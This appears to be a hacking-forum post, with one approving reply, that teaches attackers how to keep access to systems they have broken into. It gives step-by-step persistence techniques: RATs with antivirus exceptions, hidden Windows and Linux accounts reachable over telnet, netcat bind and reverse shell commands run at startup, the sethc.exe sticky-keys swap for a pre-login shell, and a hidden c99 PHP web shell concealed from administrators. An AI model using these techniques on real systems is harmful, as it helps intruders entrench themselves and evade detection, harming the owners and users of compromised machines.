[unknownAttacker]

So you have accessed a system What do you do to maintain the access? You create a backdoor! There are many ways of backdooring target systems from the inside, I'll outline some of them for you.

RATs

This is the most obvious one. You create an RAT server that connects to your client, place it on the target system and run it. The advantage of doing it from the inside is that you can add all the necessary firewall and antivirus exceptions so that your little trojan won't be detected.

Hidden user accounts in Windows

Now for something more stealthy (although it unfortunately requires admin access). Create a user account, preferably with admin privileges and a password. Go to registry, then to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\. Make key named SpecialAccounts and inside it another one named UserList. Inside it make a new 32-bit value. In the name insert the name of a user account you've created, in the value insert 0.

Now you need a way to connect. Go to Control Panel -> Programs -> Turn Windows features on/off. Enable Telnet Server. Now you can connect to the account you created with telnet, unless firewall disables it (you should know how to add exceptions).

Hidden user accounts in Linux

This requires root access. Most of graphical login managers for linux won't show a user account with id lower than 1000. Create an account with low id (but not lower or qual 100, those are for system accounts).

To create a telnet server on linux you need telnetd. Many linux distributions don't have it installed but have it in packet manager (if there is no packet manager don't bother and go to the next paragraph). I think you know how to install from packet managers, right? When telnetd is installed, type

Code:

chkconfig telnetd on

in console. Now you can access the system from telnet, unless firewall disables it (again, you should know how to add exceptions).

Netcat backdoor

You can use netcat/ncat as a bind shell or reverse shell for backdooring purposes. Command for bind shell is

Code:

nc -l -p [open port] -e [shell]

Basically, it will listen (-l) on specified port (-p; make sure it's open) and relay it to program -e (make sure it's system shell; /bin/bash on linux, cmd.exe on windows etc.).
Reverse shell is

Code:

nc [your ip] [open port on your machine] -e [shell]

This one connects to you on specified port and relays your commands (you send them by setting your nc to listen on a specified port) to shell.

For this shell to be persistent, you need to make it so it will be executed on startup (with parameters of course). Again, running shit on startup is something you should know how to do.

Stickykeys physical access shell

On newer Windows system, there is a program called stickykeys. It runs always when you press Shift 5 times, even if you're not logged in. Delete it (it's in c:\windows\system32\sethc.exe), make a copy of cmd.exe and name it sethc.exe. Now you can access shell without login, if you have physical access to the target system. Unfortunately, it requires admin access.

Web backdoors

If target computer has a webserver and PHP interpreter, you can add a web backdoor (maybe even the good old c99) somewhere in public HTML. make sure it's difficult to find to anyone else (including the admin) and preferably password protected.

[Shining White]

THis is really good , great work and keep up